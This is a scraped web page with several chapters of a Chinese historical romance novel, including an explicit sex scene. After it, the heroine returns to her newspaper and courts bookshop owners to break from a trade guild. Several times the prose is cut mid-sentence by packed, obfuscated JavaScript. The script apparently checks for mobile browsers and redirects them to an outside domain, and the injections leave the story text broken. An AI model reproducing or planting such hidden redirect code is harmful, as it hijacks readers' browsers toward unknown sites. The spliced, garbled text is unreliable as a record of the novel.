孟允抒感受到了润泽,于是心满意足地打算退出。可在她刚要离开时,许昭却急切地挽留住她,揽住她的腰强行将她带了回来。 两人拉近了距离,交流比方才还要深入。孟允抒见局势发生反转,她不肯就这样败下阵来,于是再次发起冲锋。 如此几个来回后,孟允抒觉得自己马上就要窒息了,这才稍稍用力将两人分开。 她的胸口剧烈地上下起伏着。她抬眼看向许昭,倏然发觉她不知从什么时候起居然坐到了许昭大腿上,双臂则搭在他的肩颈旁,两人急促的喘息正交缠在一起,让孟允抒觉得她周遭的空气都在发烫。 许昭的眼底明暗交杂,向孟允抒询问道:“你说,你方才的用词不当?” “对。”孟允抒稳住气息,托起许昭的下巴,对他露出挑衅的微笑,“你现在的模样已经不是让我大开眼界,而是大饱口福。” 许昭发现,自从孟允抒和他坦白身份后,就像解开了压在她身上的一道封印,什么话都敢往出说。 但这也从另一方面说明,她已经完全对他敞开了心扉。所以,尽管许昭因孟允抒的话而窘迫不已,可又暗自庆幸她终于愿意将一腔爱意表露出来。 他躲闪着孟允抒的视线,像是为了岔开话题一般说道:“你快回房早些休息,我也该睡了。明日一早我还要上朝。” 他这话反倒提醒了孟允抒。当前她在府中修养已有一月,但每次提出要回到报社时,都会遭到许昭和秋盈的联合拒绝。 这会许昭神志不清,或许是让他改口的好机会。 因此,孟允抒不但没从许昭腿上下来,反而贴紧他的胸膛,缠着他说道:“我明日也想去上工。你看,我在府中闷了这么久,连身子都沉了许多。” “……不行。”许昭险些就答应了她,这话也是他说给自己听的,“你身上的伤还没好全,哪能经得起操劳?” “没有,我那些伤口早都愈合了。”孟允抒受到阻挠,为了向许昭力证她的身体已经恢复,能够回到报社工作,她扯开自己的衣领说道:“不信你亲自看看。” “不,不必了。” 许昭手忙脚乱地别过头,不知道该把自己的目光落到何处。但他依然抱紧了孟允抒,生怕她从自己身上掉下去。 孟允抒见他慌得六神无主,还以为自己说出了什么惊世骇俗的言论。 这分明是件很正常的事,但因为许昭太过保守,显得她好像是个调戏纯良男子的女流氓。 她和许昭的关系都到这一步了,还有什么是不能给他看的? 孟允抒将心一横,索性直接问他:“先前你给我换药擦身时,该看的早都看完了,现在有什么不好意思的?” 不过说来也怪,自从孟允抒醒来之后,许昭像是为了避免尴尬,这些事务都交由丫鬟代劳,他只会隔三岔五地检查她胳膊和小腿上的伤口愈合状况。 见许昭支支吾吾地答不上来,孟允抒心里骤然冒出一个猜想。 她坐的这个位置非常微妙,她稍稍挪动了一下自己的身体,旋即感受到预想当中的硬物。 两人当然都明白那是什么,许昭几乎是条件反射地将孟允抒推离了那处,禁锢住她的身子。 他脸上显出隐忍的神情,警告孟允抒道:“你别乱动。” 孟允抒的心凉了半截。 她过去的那些胡思乱想难道不是误会? 正常人真能做到这样坐怀不乱吗? 仔细想来,许昭也确实从来没有正面回答过那些隐秘的问题。 不会真让她说中了吧。 无数猜疑飞速从孟允抒脑海中闪过,她虽然不会因为这方面的问题就抛弃许昭,但有病就得治。说不定许昭是觉得这个病症难以启齿,才从来没有将真相告诉她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在这样急促的节奏下,两人很快就未着寸缕。孟允抒环抱着许昭,触到他后背紧实有力的肌肉,手指沿着他的身体线条划动,描摹出他的形状。 孟允抒内心暗喜,虽然许昭不是武官,但凭借自律的生活方式还是拥有一副好身材。 在动作之间,孟允抒的膝盖上偶尔传来炙热感,她有意无意地蹭了蹭,迎来的自然是更为激烈的报复。两人肌肤相贴时,她听得见许昭胸腔内的心跳声咚咚作响,和上了她的节拍,几乎马上就要撞破胸膛。 迎着粗重的喘息,孟允抒看向许昭迷乱的眼神笑道:“你平日那副正人君子的模样当真不是装出来的?” 许昭没有应声,只用动作对孟允抒的问题作出回答。 滚烫的手掌在孟允抒身上游走,肌肤的摩擦引得她发出阵阵颤栗。孟允抒觉得自己像是陷入了一片沼泽,瘫软在其中难以自拔。 突然,许昭像是如梦初醒般地缓和了动作。 孟允抒喘着气问:“怎么了?” 他轻轻抚上她的小腹问道:“现在还疼吗?” 如果不是许昭在那里摩挲,孟允抒几乎忘了那里还有一道浅淡的疤痕。 “早就不疼了。”孟允抒摇摇头,捉起他的手腕,将他的手掌放在自己胸脯上,示意他检查原先另外几处伤口的位置,“你看,我身上那些轻伤早已痊愈,连一点疤都没留下。再过些日子,这些较深的伤痕也就消失了。” 许昭望向孟允抒指引的地方,眼里满是疼惜。 他低头舔舐着那些伤痕,如一片羽毛轻轻拂过,扫得孟允抒心尖发痒。 同时,她察觉到自己的手被一双更为修长的手包裹住,推着她舒展手指与它十指相扣。奇怪的是,虽然那手骨节分明,孟允抒却觉得她的掌心传来柔软的触感。 而后,这双手松开了她,沿着她的躯干一路往下滑,令她的身下涌起一阵更为猛烈的浪潮。 水声与湿热的气息充斥了整个房间,孟允抒觉得,再这样下去她甚至撑不到下个环节,于是在许昭的腰上轻捏了一把:“可以了。” “好。”许昭在孟允抒唇角落下轻柔的一吻,滚烫的气息喷洒在她的耳畔:“若你有任何不适,就随时告诉我。” 孟允抒听出他语气中的忍耐与克制,便起身凑到他耳边低语,其间含有笑意。 “许郎,我喜欢你方才抱我进门时的样子。” 49. 东山再起 孟允抒坐在车厢内,在马车的颠簸中,她更是觉得自己浑身酸软,连骨头都要被摇散了架。 她懊悔地想,她怀疑什么都不该怀疑许昭有隐疾,他攒了这么多年的劲全使在她身上了。 昨晚那些激烈的场景还历历在目。起初许昭顾忌她的伤病,又念及她是初尝人事,生怕弄疼了她,便有意克制。孟允抒见他忍得辛苦,自己也并不满足于此,就变着法地撩拨他。 于是,后来的场面便一发不可收拾,两人食髓知味后一时失控,一次又一次地纠缠在一起。几个回合下来,虽然孟允抒已经疲惫不堪,却被欲念冲昏了头,再加上她心软,每次许昭询问她的意见时,她见他还想要更多,就又给出了肯定答复。 如今身上的酸痛就是贪得无厌的下场。 孟允抒在自己心里找补,但在那种情况下,她和许昭谁能忍得住? 到最后她都不记得许昭是怎么收拾那一片狼藉的,但好在她没忘了抓住机会趁虚而入,让许昭应下她复工的要求。 此前秋盈和许昭在暗中达成一致,约定让孟允抒休息两个月后再同意她复工。在此期间,两人都要监督孟允抒在府中静养,不准她出门乱跑,也不许外人来探视她,以防他们说出什么不该说的话来,扰了她的清净。 今早秋盈得知他们的联盟被孟允抒从许昭处瓦解,但许昭天没亮就去上朝了,她只能准许孟允抒回到报社。 马车驶出一段距离后,从窗外已经寻不到许府的踪影。 秋盈放下车帷转过头,用审视的目光盯着孟允抒。 “允抒,你昨夜没回卧房。” 这不是一个疑问句,孟允抒只能心虚地打着哈哈,对秋盈露出僵硬的笑容:“是啊。” 她明白秋盈要开始兴师问罪了。 “你去了许公子的卧房,对吧?” 秋盈现今的身份已经不算是孟允抒的丫鬟,再加上她改变了对孟允抒的称呼,许昭在得知孟允抒的真实身份后,索性也让秋盈对他改了口。 按照秋盈的性格与能力,她肯定早就知道了两人昨晚发生的事,孟允抒硬着头皮实话实说:“对。” “难怪许公子会同意你前来上工。明明说好了让你再休养一月。”秋盈半是鄙夷半是羞愤地说,“真是色令智昏。” 虽然按孟允抒如今的身体状况来说,她的确已经恢复到了能够回到报社工作的程度,但结合她和许昭之间发生的事来看,这件事听起来却不怎么光彩。 就像是她和许昭做了什么见不得人的交易一般。 “不是你想的那样。”孟允抒百口莫辩,只能跳过这个话题言归正传,挽着秋盈的胳膊说,“我知道你是为我好,担心我的身体。但既然我的伤已经好得差不多了,就得尽快回到报社,那里还有相当多的事务等着我处理。” 在过去这一个月里面,尽管孟允抒得到准许在府中办公,可随着日子一天天过去,她心里还是越来越焦急。秋盈给她带的尽是些无关紧要的琐碎工作,不让她劳心费力,而每次她向秋盈问起报社的情况时,她的回答都是运营平稳,但孟允抒却并不相信这个答案。 先前那场突变把报社搅得天翻地覆,报社绝不可能平静无波。秋盈肯定是对她报喜不报忧。 《黎民日报》每日都在照常发行,但读了几期报纸后孟允抒便察觉到,部分探官和编辑代号在文章末尾出现的频率明显高了起来,而与之相对地,自打她出狱以后,就再也没见过其余的那部分代号。 孟允抒曾向秋盈询问过其中的缘由,她得到的答复是这些人或因生病或因私事缠身告假在家。她知道秋盈这是怕她忧心报社事务,于她的身体不利,便也不再追问。 不过,她马上就要得知真相了。 孟允抒下了车,抬头望了一眼阔别已久的匾额。“黎民报社”四个大字鲜亮如初,并非她想象中的那样落满尘埃。 看来,在她离开报社的这段时日,秋盈依然将报社打理得井井有条。 孟允抒走到临街的铺面前伸出手,正想着像过去每天做的那样推开大门,店门却突然被人从里面打开。 在孟允抒看清来人是排云的同时,排云也眼前一亮,脸上现出惊喜的神色。 “社长!”排云激动地扑到孟允抒怀里,“你终于回来了!” 孟允抒回应着她的拥抱,顺口问了一句:“排云,昨晚是你值夜?” “对,是我和刘大哥,还有周姐姐。他们去后院开门了。” “有话进去说。”秋盈提醒她们先进到屋内,在一旁笑话排云:“一月没见社长,你就对她如此想念。” 孟允抒摸摸排云的发顶笑道:“说明我平时没白疼她。” 孟允抒欣赏排云的机灵,对她相当器重。再加上排云是报社中年龄最小的职员,孟允抒自然会额外关照她一些,见着点什么好吃的都要给她带上一份。 在排云眼里,孟允抒本来就对她有恩,又这样疼爱她,所以空闲时也喜欢粘着孟允抒,跟在她后面主动找活干。 “社长,你这一个月都没在报社里,我心里空落落的。” 排云拉着她的手诉说了她的思念之情,又毫不拖泥带水地讲起了正事,向孟允抒做了一场简单的工作汇报。 孟允抒正听着排云讲述她这阵子取得的成果,忽而被门外的吵架声吸引了注意力。 一个男声唉声叹气道:“一大清早我便见着你,今日肯定是诸事不宜。” 另一个女声则相当高亢,语气充满戏谑:“你见了我还有力气说这些话,看来我昨日骂得还不够狠。” 两人斗着嘴,跨过门槛现出身形。走在前方的盛催雪漫不经心地瞥了室内一眼,而后马上中止了方才的话题,脸上现出和方才的排云一样的神色。 紧随其后的萧谨言也瞪大了眼睛。 “允抒,你回来了!”盛催雪连忙奔向孟允抒,拉着她的手上下打量,“我听说你被那些狗官折磨得不轻,如今你可是痊愈了?” 萧谨言也在一旁用力点头:“我听睿言说你当时的情况十分危急,差点……” “打住。”盛催雪迅速阻止他继续说下去,“社长好不容易才脱险,你可别讲那些不吉利的。” 孟允抒已经对他们的相处模式习以为常,这份熟悉感瞬间让她回想起过去的工作环境。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767558|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你们放心,我如今已经并无大碍了。”她对两人笑笑,“这段时间我不在报社,你们两人的合作可还算愉快?” “勉勉强强吧。”萧谨言斜睨了盛催雪一眼,又看向孟允抒说道,“不过我们好歹是编辑部的主管,在正事上不会含糊,有我们在出不了岔子,你不必担忧。” 萧谨言一本正经地说着,让人觉得相当可靠。 但盛催雪很快就揭起他的短来,凑到孟允抒旁边说道:“你别看他这会装得挺像回事,你都不知道,他刚刚得知你在狱中的情况时,哭得可真是一把鼻涕一把泪,连话都说不利索。” 盛催雪模仿着萧谨言的动作和神态,和孟允抒一起笑得前仰后合。 “你还好意思说我。”萧谨言恼羞成怒,抖搂出盛催雪的旧事来,“当初那些职员说不愿意搭救孟社长的时候,你恨不得冲上去和他们打一架,要不是秋掌柜及时赶过来拦住你,还不知道后面怎么收场。” 他说完这番话后,室内的几人都愣了一瞬。空气陷入了短暂的安静,就连盛催雪却并未像往常那样作出迅速且有力的反击。 萧谨言意识到自己失言,慌张地咳了两声。盛催雪则有些局促地瞟了一眼孟允抒,而后像是掩饰什么一般,又飞快地恢复常态说道:“那还不是因为他们只顾着自身安危。平日社长待他们不薄,他们却见死不救。” 孟允抒总觉得,盛催雪说这话时的语气少了许多平时的自信,她还是第一次见她这副模样。 他们所说的这些事,孟允抒都已经从许昭那里听到过,但看他们的反应,此事恐怕另有隐情。 她并不急于从他们口中逼问出答案,为了给这些人解围,同时防止他们都把时间都耗在和她寒暄上,孟允抒终结闲聊,赶着屋内的几人离开:“行了,你们都别围在这里了,该做什么做什么去。要是有事就等开完选题会后来单独找我,闲话留到午休的时候说。” 说完,她便起身前往中庭,去办公室整理她的工位。 但孟允抒的那句话并没能让她摆脱被当成珍稀动物的命运。每个前来上工的报社成员听说孟允抒回来了,都要跑来办公室探视她一番。 当然,孟允抒这次回归,她收获的不单是关心和欢迎,还有一个坏消息。 如她所料,在她遭遇这场变故之后,那些想要独善其身的报社成员统统向秋盈提交了辞职信,离开了报社。 其他部门的情况还算乐观,但采编部作为那些官家公子、小姐的聚集地,损失了将近一半成员。在召开选题会时,孟允抒看到的不单是短了一半的席位,还有萎靡焦躁的氛围。 相较于前者而言,后者的问题并不难解决。留下来的这些职工都是愿意继续跟随她的人,而他们的心中都存有同样的疑虑。只要有一个人来找她提问,她作出回答后,答案就能以提问者为中心,层层向外扩散至整个报社。 选题会后,孟允抒刚坐到办公室的椅子上,甚至还没来得及喝口茶,大门就被人敲响。 这个人来得还真是快。 “请进。” 孟允抒放下茶杯看向门口,进来的是一个意料之中的身影。 50. 明星效应 “萧主编请坐。”孟允抒用眼神指指对面的椅子,对萧谨言笑了笑,“你有什么事找我?” “你这是明知故问吧。”萧谨言关上大门,在孟允抒对面落座后白了她一眼:“早上你在报社里逛了一圈,选题会也已经开完,之前我们瞒着你的事你都知道了,我就不信你能沉得住气。” 他坐正身子,脸上显出庄重的神色:“这一个月以来报社的确发生了不少变故。虽然大部分职工都留了下来,可如今每个人心里都没有底气。” 孟允抒问他:“包括你在内?” 萧谨言点头。 他重重地叹了口气:“如今旧党已经得知你与许大人的关系,虽然这次他们没能得逞,但他们定然会在暗中寻找你的破绽,伺机而动。旧党的实力雄厚,我们不是他们的对手,要是他们卷土重来,下次我们就不一定能渡过难关了。” “而且经此风波后,我们的损失相当惨重,士气也十分低迷。除此之外,由于报社受到负面影响,前来买报的人也大大减少,近日小报的销量堪忧。再这样下去,我们只能做亏本买卖。” 萧谨言面露担忧:“在这种形势下,报社还能开多久?我们今后应该怎么办?” 他提出的问题正是孟允抒想要回答的,但她并没有立刻给出答案。 萧谨言性格敏感,稍微有个风吹草动就会惊慌不已,他第一个跑来向孟允抒寻求答案也合乎常理。 但是在这次事件中,萧谨言的表现却显然与他的性子严重不符。 孟允抒思索片刻,决定以此作为切入点:“谨言,正好我也有个问题想问你,我想先请你作答。” 萧谨言不知道孟允抒为什么要兜圈子,却还是耐着性子说:“你问。” 孟允抒挪开面前的茶杯,这样一来,两人之间便没有任何障碍物。 “在我身陷囹圄难以翻身的时候,许多人都对此事避之唯恐不及。可你非但不离开报社,反而还顶住压力,尽量调解员工之间的矛盾,维持报社的正常运营,这是为什么?” 萧谨言理所应当地说:“我是报社的主编,我当然不能走,也不可能放任这些人出乱子。再说了,这是你临走前吩咐我们的,我自然要听令行事。” 孟允抒抓住了这句话中的矛盾点。 “据你方才所言,如今朝中局势紧张,我又已经被旧党盯上,继续运营报社就犹如火中取栗。你我都知道旧党的实力庞大,报社被查封似乎也是迟早的事。””她抬眼看向萧谨言,“可你若是真的这样想,又为何要为这样一个朝不保夕的差事劳心费力?” 萧谨言觉得孟允抒今天总是在说废话:“那我最起码也得先撑到你出狱,等你回来后我们再商量这些事。” 孟允抒追问他:“若是程玄平等人的奸计得逞,我的下场如他们所愿,那我的命令和决定便毫无意义,你与睿言、萧大公子甚至还会受到牵连。你为何敢笃定我能够被无罪释放?” “话不能这么说。” 萧谨言嘟囔了一会,他发现自己也说不出一个清晰的理由,索性将身子往椅背上一靠:“我凭直觉相信你能挺过这一关,这总行了吧。” “不是这样的。”孟允抒摇摇头,而后对萧谨言露出一个赞赏的笑容。 “谨言,也许连你自己都未曾发觉,你和从前不一样了。” 她提起了两人结识的往事。 “当初我与你在萧府相识,请你担任报社主编一职,那时你还百般推脱,认为只有读书考取功名才是正途。但后来,你在报社实现了自己的价值,也逐渐认可了报业的意义。” “你说得有道理。”萧谨言觉得孟允抒的话题越扯越远,“可这和我的问题有什么关系?” “因为这是解决一切问题的前提。”孟允抒笑道,“只要报业有存在的意义,我们就并非毫无胜算。” 孟允抒分析着报业的市场前景:“民间小报的性质确实敏感,自诞生之初就屡遭封禁,可小报产业非但没有灭亡,反而愈加繁荣,最终先皇不得不撤销了这一禁令。这说明报业的兴盛是大势所趋,旧党就算再有能耐,也不可能胜过皇上。” 而即便是至高无上的皇权,在数万黎民面前,它也不过是螳臂当车。 萧谨言陷入沉思:“所以,报业不至于就此一蹶不振。” “没错。既然报业本身有存续的可能,那么报社能够开多久,恰恰就取决于我们接下来怎么做。” 孟允抒胸有成竹地笑笑,将她提前写好的一份书肆清单递给萧谨言:“前阵子我让秋盈传令,命伙计们去打探京中各书坊的经营情况,如今便能派上用场了。” 孟允抒先前已经和许昭讨论过她的想法,于是将计划复述给萧谨言。 他一边浏览着清单上的内容一边点头道:“我不确定这招行不行得通,但我知道,如果当初不是你请我担任主编,我到现在还只能整日窝在府里念那些被我翻烂了的书。” 萧谨言自嘲地笑笑,将那几张纸收拢好,对孟允抒说道:“你就直说,需要我做什么?” “你和平时一样,只要做好分内之事即可。”孟允抒心里已经有了明确的安排,“只是近日要麻烦催雪和我分头行动,在城中四处奔波。” 萧谨言愣了愣神,忽然明白了孟允抒的意思。 他又看了眼手中的清单,喜上眉梢道:“你是说,要让催雪和你一起负责拉拢那些书商?” 孟允抒微微颔首:“无论从哪方面来看,她都很适合做这件事。” “太好了。”萧谨言由于激动而猛然站起身,“接下来的这段时间,我总算是能清净一阵了。” 说着,他赶紧把清单还给孟允抒,向她告辞道:“我去把这个好消息告诉盛副主编。” 孟允抒目送着他上蹿下跳地冲出大门,不知道的还以为萧谨言终于中举了。 她觉得此事想来有些好笑,当初盛催雪刚来到报社时,萧谨言也是这副欣喜若狂的模样,如今他竟然会对她的出差而兴奋成这样,看来他对盛催雪的崇拜之情已经荡然无存。 孟允抒得空去喝茶,茶水刚刚见底时,盛催雪的笑声就闯了进来。 “听萧主编说,孟社长要对我委以重任。” 不等孟允抒开口,盛催雪就直接坐到了她对面,迫不及待地凑近她问道:“你展开说说,具体是什么事?” 望着盛催雪一脸期待而兴奋的模样,孟允抒知道她找对人了。 她放下茶杯,将那几张清单推到盛催雪面前,开门见山道:“这上面记录了京中多家书肆的概况, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781255|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我需要你和我分工,去这些地方跑一趟。” 接着,孟允抒对盛催雪讲述了她的目的,以及与那些书商合作的具体内容。 “我明白了。”盛催雪迅速作出总结,概括孟允抒的话对她复述道,“主要就是劝说他们改行从事报业,为此我们可以为他们提供各种帮助,比如允许他们入股分红、售卖《黎民日报》从中获利、为他们的探官和编辑展开免费培训等,对吧?” “对。” 盛催雪才思敏捷,孟允抒只说了几句话她便懂得了自己的意思,这让她省了不少功夫。 “盛副主编果然才智过人,不愧是名扬京城的才女。”她知道盛催雪爱听好话,便故意恭维她道,“我这次又要仰仗盛副主编的名气,打着你的旗号去做这些事。” 之所以说“又”,自从她来到黎民报社,孟允抒借着她的名声获得了不少好处。从那次反击性别偏见的征稿活动,再到后来扩充报社人手时招聘,许多人都是被盛催雪吸引而来,就连他们报纸的销量都因为她的名号而上涨许多。 这次孟允抒故技重施,不单是为了利用明星效应挽救报社的前途,也是为了尽力降低她遭遇变故所造成的影响,让人们的关注点从她身上移开。 “我们都认识多久了,你还和我客气。”盛催雪满不在乎地笑笑,“再说,你借用我的名号又不是为了一己私欲。” 而后,她的声音稍有低落:“只要能让报社恢复过去的盛况,我的名气也算是派上了用场。” 看来这场变故对于报社职工的确是极其沉重的打击,饶是盛催雪这样豁达洒脱的人,都有几分忧虑的意思。 为了让盛催雪重新振作起来,孟允抒用调侃的语气鼓励她:“有盛副主编出马,报社定能绝处逢生。你向来是口齿伶俐,又有名气加持,由你出面做这些事再合适不过。” 孟允抒和她打趣一番,言归正传道:“正所谓‘祸兮福所依’,这场风波虽然致使报社折损了十几名探官和编辑,但这也算是满足了如玉行会的要求,他们暂时不会再来找我们的麻烦。” 她又说起旧党的情况:“程玄平和赵逾明险些酿成冤案,他们受到皇上的批斥,一时也不会给我们使绊子。趁着这两方势力都消停的时机,我们要抓紧时间展开行动。” 兴许是孟允抒的话起了作用,盛催雪很快恢复了往日那副率性不羁的模样。 “嗯。你终日为报社操劳,我也不该让你再为我忧心。”她笑容明朗地说道,“请社长放心,我定然会不负所托。” 望着盛催雪潇洒离去的背影,孟允抒轻轻地舒了口气。 方才她没有在盛催雪面前表现出来,实际上她对此事并没有十足的把握。 盛催雪的确口才了得,但因为她的个性太过直率,有些话说得一针见血,因此也容易激化矛盾,得罪他人。包括萧谨言在内,曾有多个员工向孟允抒反映过这种情况。 虽然盛催雪并非听不进旁人的意见,也能做到知错就改,但一个人的本性难移,她在不经意间还会出现这种问题。让天才为普通人让步,或许对她来说也十分憋屈。 然而,眼下报社人手严重不足,孟允抒也找不出比盛催雪更适合做这件事的人选。 但愿他们的计划能顺利实施。 51. 拉拢 孟允抒坐在马车上,用炭笔在清单上的一家书坊名字后面打了个叉,而后以此为分界线,浏览着在这之上的部分。 当前她和盛催雪取得的成果在她的预估范围内,有多家书坊认为她的想法天马行空,或是由于种种限制不能放弃书肆的经营而婉拒了她们,但也有一部分书肆被她们争取过来,愿意尝试着将书铺完全改造成报亭或报社。 接着,孟允抒将视线挪向下一个目的地,那是个她十分熟悉的名字。 文昌书坊。 虽然她至今都不愿回想起她当时的劳动强度,但这到底是她创业的起点,难免会对它有几分怀念。而且,在胤朝,通常情况下同一行业的商人会将店铺聚集在同一条街道上,这样有利于招揽生意,也方便行会进行管理。 出于以上原因,孟允抒下定决心要将郭掌柜拉拢过来。 若是她能成功,等成立报业行会后,文昌书坊内的伙计和帮工也能够得到更好的待遇。 这个时段正是文昌书坊的客流高峰期,孟允抒跟着几名顾客一同跨进门槛,见郭掌柜正站在柜台后指挥伙计干活,便提高嗓门说了句:“郭掌柜,别来无恙。” 郭掌柜闻言转过头来,在看到孟允抒的一刻便满脸堆笑:“哎呀,孟社长,什么风把您给吹来了。” 他向孟允抒行了一礼,但他的笑眼中却藏着几分揣度:“你我有些时日没见面了,不知你此番前来所为何事?” “故地重游罢了,顺便见见老朋友。”孟允抒向他回过礼后,似是漫不经心地环顾着四周,扫了一眼店内顾客的数量,“郭掌柜果然是经营有方,文昌书坊的生意还是这般红火,与我离开时别无二致。” “哎,社长真是抬举我了。”郭掌柜摆摆手,他听出孟允抒话里有话,于是吩咐伙计照看好书铺,对孟允抒说道:“既然孟社长是来找我叙旧的,那就请随我移步后院吧。” 后院是郭掌柜的私人住宅,不对外客开放,走入此处时,书坊内的喧嚷便被他们甩在身后。孟允抒经过庭院中的那几棵柿子树时,还见枝叶间落了许多麻雀,唧唧喳喳的叫声在空旷的院子中显得尤为响亮。此处环境静谧,倒是个谈话的好地方。 孟允抒进屋落了座,郭掌柜取来茶盏,一面为她倒茶一面笑吟吟地说道:“时至今日我都不敢相信,孟社长居然是女儿身。”他将茶杯放在孟允抒面前,自己也坐了下来,称赞孟允抒演技了得:“当初你在我这里帮工时,我可真是一点都没看出来。” 半年以前孟允抒通过小报澄清了陈府的凶宅疑云,不少人曾被这篇报道吸引而来,发现陈府摇身一变成为了黎民报社。文昌书坊离报社不远,郭掌柜自然一早就听说了此事。虽说报社与书坊不同,但两者也存在着竞争关系,于是他便跑去报社打探敌情,没成想竟然撞见了孟允抒,这才得知她的女子身份。 “身为探官,多少得有点乔装易容的手段,这些都不足挂齿。”孟允抒谦逊地笑笑,将话题从自己身上挪开,像是闲聊一般随口问道:“郭掌柜近来可好?文昌书坊的营收如何?” 郭掌柜却觉得孟允抒这话里有几分挑衅。 由于文昌书坊与黎民报社相隔不远,随着报社声名显赫,他首当其冲地受到影响。被抢走了那么一大批顾客,他的生意自然是每况愈下。而且这半年以来,他和孟允抒一直在暗中较劲,双方心里都和明镜似的,她显然是明知故问。 但郭掌柜到底是个经商多年的生意人,从不会将心底的不快表现在脸上,只是在话中暗藏机锋。 他笑容可掬地看着孟允抒说道:“托孟社长的福,在您的关照下,书坊的营收虽不如过去,但也勉强够糊口。” 孟允抒事先就已经掌握了文昌书坊的情报,她当然知晓书坊的生意大不如前。她这样试探郭掌柜,不过是为了让他亲口承认这一点。 现在她的目的已经达成,便不再和郭掌柜兜圈子,索性把话直接挑明。 “郭掌柜此言差矣,文昌书坊能有今天的局面,可不能把这笔账全部算在我头上。”孟允抒轻轻扬起唇角,声音却低了下去:“您心里应当明白,如玉行会也功不可没。” 通过此前的调查,孟允抒得知,如玉行会为了严格控制报业的规模,不单对黎民报社屡屡施压,还对那些售卖小报的书肆予以限制。革除这份副业之后,他们自然又要少一部分营收。 但与此同时,因为这半年的书业行情不景气,胡行长所获的利润大幅下跌,于是便将镰刀伸到了这些商户头上,假借各种会费的名号收敛钱财。 书商们对如玉行会积怨已久,却又畏惧胡行长的威势,敢怒不敢言。为了取得继续营业的资格,他们也只能服从如玉行会的条令,如数缴纳银两。 提到这事,郭掌柜更是苦闷不已,他无奈地摊手道:“那我们又能如何?若是退出行会,我们连开门的机会都没有,更何谈赚钱?就拿孟社长你自己来说,你不是一样……” 他正说着,忽而发觉孟允抒笑意盈盈地看着他,一副胜券在握的样子。 他连忙止住话头问道:“莫非孟社长有什么好主意?” 孟允抒略一点头:“办法我倒是有,只是其有些惊险,不知郭掌柜有没有胆量去做。” “俗话说‘富贵险中求’,若是这方法真能让我们摆脱当前的困境,我们试试也无妨。”郭掌柜正襟危坐道,“孟社长请讲。” “当年若不是我在文昌书坊看到了小报,我便不会在此帮工学艺,也就不会有今日的黎民报社。如此说来,我应当称郭掌柜一句‘恩师’。”孟允抒笑了笑,“既然郭掌柜比我更早售卖小报,您应当也知道报业的市场广阔,从中可获取不少收益,在这点上我就不过多赘述了。” 郭掌柜附和着孟允抒说了几句漂亮话,示意她继续说下去。 孟允抒将身体前倾凑近郭掌柜,把声音压得更低了些:“既然如玉行会欺人太甚,我们不妨直接脱离他们,自立门户。” 郭掌柜大惊失色,他没想到孟允抒竟然有这种野心,飞快地否定道:“不成,这不成。” 孟允抒并不急于让他认可自己,只是将身体靠回椅背,不紧不慢地说道:“郭掌柜,方才你自己也说了,‘富贵险中求’。而且,目前我已经争取到了不少书坊的支持,即便靠你我二人做不成这件事,但若是再加上五家、十家、甚至一百家书坊呢?” 郭掌柜喝了口茶稳住心神,同时思索着孟允抒说的话。 片刻后,他抬起头重新看向孟允抒。 “孟社长,不是我不愿意加入你,改行从事报业,实在是因为小报太过敏感,搞不好就要掉脑袋。” 别人说这话或许还有些可信度,但郭掌柜这么说就是纯粹的找借口。 孟允抒可是曾经在他这里当过帮工的,她没少见他刊印发售那些禁书,小报的大胆程度更是超乎她的想象,连皇上的风流韵事都敢捅出去。 他显然没说实话。 “郭掌柜,我今日来是真心实意地和你谈合作,可你却不肯对我吐露心声。” 孟允抒直视着郭掌柜,道出他的心声:“你不同意我的想法,恐怕是因为我的身份特殊吧。” 郭掌柜装起了糊涂,笑着问孟允抒:“孟社长何出此言?” “经此一事后,众人都已经知晓,黎民报社的孟社长是刑部郎中许大人的夫人。我身为探官,怎么可能不知道这些流言蜚语。” 只是对现在的她来说,即使撤掉伪装也不会影响报社的口碑。 “在你看来,既然我有这层关系在,只要能借助你们的力量成立报业行会,事成之后我就会过河拆桥,所用的手段比起如玉行会有过之而无不及,你的境况比现在更糟糕。” 她挽起衣袖,向郭掌柜展示她手臂上的疤痕。 “我和官府的关系没有你想象得那么好。我要是官府喉舌,或是手眼通天,哪还至于去刑部大牢里受刑?许郎又为何遭到皇上猜忌,甚至还要靠到处求人才能将我救出来?” 在民众眼里,这些伤疤俨然是孟允抒的荣誉勋章,她进过牢狱的履历也让《黎民日报》更加富有含金量。 对于郭掌柜这些无权无势,却稍有家资的商人来说,比起官员降罪,他们更担心不能赢得民众的喜欢。 孟允抒这番话让郭掌柜稍稍放下心来,但他仍有顾虑:“虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 